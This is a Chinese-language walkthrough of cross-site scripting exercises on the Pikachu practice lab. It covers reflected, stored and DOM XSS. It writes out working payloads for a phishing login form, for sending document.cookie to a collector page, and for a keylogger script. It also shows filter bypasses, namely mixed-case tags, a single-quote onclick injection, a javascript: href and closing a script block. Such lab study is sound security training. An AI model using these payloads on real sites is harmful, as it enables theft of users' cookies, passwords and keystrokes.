1.XSS基本概念和原理说明
XSS跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。它是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
2.反射型、储存型、DOM型实战
反射型:首先输入一些符号和数字,看代码中会不会全部输出。
如图可见全部输出了,所以他对特殊符号和数字不限制,所以我们可以输入一段代码:<script>alert(‘xss’)</script>,使它在前端输出。(注意:输入代码时,会发现字符长度不够,我们可以在控制台中进行修改:按f12出现控制台)
存储型:它能够将恶意代码永久地存入数据库或者文件中,相当于将代码嵌入一个页面中,所有访问这个页面的用户都将成为受害者。也就是说,当我们在输入框中输入一串代码:<script>alert(927)</script>后,点提交,它可以出现弹框,但当我们再次点 存储型XSS时,它还会进行弹窗。
Dom型:Dom型XSS是通过函数获取到输入的值,然后拼接到代码中,如果包含恶意代码,则当js代码执行去改变页面元素的时候会导致恶意代码被执行,从而发生xss。此时,我们可以输入代码
#' οnclick="alert(927)">
3.XSS钓鱼
首先,我们找到fish.php将代码中的后台地址,改为自己的地址
然后,返回到pikachu靶场的存储型XSS,在输入框中输入
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> 点击提交,他会出现弹窗,当用户输入自己的账户和密码进行登陆后,我们在后台当中就可以接收到用户的信息。
4.XSS平台搭建及Cookie获取
首先,我们需要将网址改成自己的网址,如图:
接着,我们要打开XSS后台,如图
然后,在反射型xss输入框中输入代码:<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
点击提交,他会弹到我们设置的pikachu靶场的主页,最后,我们在xss后台的cookie获取结果中可以查询到结果。
5.反射型XSS(POST)获取用户密码
Post型:我们需要搜127.0.0.1/pikachu/pkxss/xcookie/post.html 这个网址,它也会弹到pikachu靶场的主页面,但同时我们也会获取到用户的cookie值。
6.XSS获取键盘记录
首先,我们打开rk.js,并修改网址为自己的网址。
接着,我们在存储型XSS中输入
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>,点击提交,按f12打开控制台,点击网络,输入“123”,接着XSS后台当中就会开始显示。
7.XSS盲打
首先,我们先随便输入一些数字,他会出现下图所示:
然后,我们可以输入一些代码,如:<script>alert(927)</script>,然后点击提示,登入管理员网站:admin_login.php,他就会在管理员界面这边弹出我们所要弹出的东西。
8.XSS防御绕过
首先,我们随便输入一些,如:<script> ‘ “@ 66,然后我们查看源码,发现<script>被过滤了
所以,我们可以尝试一些办法,如大小写混合方式来绕过:<ScRiPt>alert(927)</ScRiPt>,发现它可以正常弹窗了,说明这种方法可行。
9.XSS绕过之htmlspecialchars()函数
我们可以输入一些数字和特殊符号进行查看:927’”<>& ,我们可以看到只有 ‘ 没有被过滤,所以我们可以输入代码进行验证:q’ οnclick=’alert(927)’
10.XSS安全防御
(1)我们找到XSS之href输出的源码 可以发现:输出在a标签的href属性里,可以用javascript协议来执行js,所以我们可以输入代码:javascript:alert(927) 不难发现,它又可以进行弹窗了
(2)首先我们输入11111进行检查,发现它在js的代码中出现了,当我们输入“tmac”时,发现显示了一张图片.
然后,我们将代码复制出来,对他进行分析:先对变量进行闭合,然后对前面的<script>进行闭合,然后在输入我们的代码: x' </script> <script>alert('xss')</script>,然后就会出现弹窗了。